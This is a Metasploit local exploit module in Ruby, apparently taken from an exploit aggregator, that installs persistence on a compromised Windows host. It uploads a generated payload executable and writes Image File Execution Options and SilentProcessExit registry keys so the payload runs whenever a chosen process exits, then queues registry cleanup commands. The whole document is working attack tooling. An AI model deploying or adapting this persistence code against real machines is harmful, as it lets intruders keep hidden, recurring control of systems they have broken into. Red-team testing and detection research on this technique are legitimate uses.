## https://sploitus.com/exploit?id=PACKETSTORM:209967
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/persistence_image_exec_options'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Silent Process Exit Persistence',
'Description' => %q{
Windows allows you to set up a debug process when a process exits.
This module uploads a payload and declares that it is the debug
process to launch when a specified process exits.
},
'License' => MSF_LICENSE,
'Author' => [
'Mithun Shanbhag', # earliest author found
'bwatters-r7', # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2008-06-28',
'Privileged' => true,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
])
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe('You must be System to run this Module') unless is_system?
CheckCode::Appears('Likely exploitable')
end
def upload_payload(dest_pathname)
payload_exe = generate_payload_exe
write_file(dest_pathname, payload_exe)
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
end
def validate_active_host
unless is_system?
fail_with(Failure::NoAccess, 'You must be System to run this Module')
end
begin
print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def write_reg_keys(image_file, payload_pathname)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
value_name: 'GlobalFlag',
type: 'REG_DWORD',
value_value: 512)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: 'ReportingMode',
type: 'REG_DWORD',
value_value: 1)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: 'MonitorProcess',
type: 'REG_SZ',
value_value: payload_pathname)
silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
reg_keys.each do |key|
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
unless registry_getvalinfo(key[:key_name], key[:value_name])
print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
return false
end
end
end
def install_persistence
validate_active_host
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
temp_path = writable_dir
image_file = datastore['IMAGE_FILE']
payload_pathname = temp_path + '\\' + payload_name + '.exe'
vprint_status("Payload pathname = #{payload_pathname}")
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
@clean_up_rc << "rm #{payload_pathname}\n"
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
end
end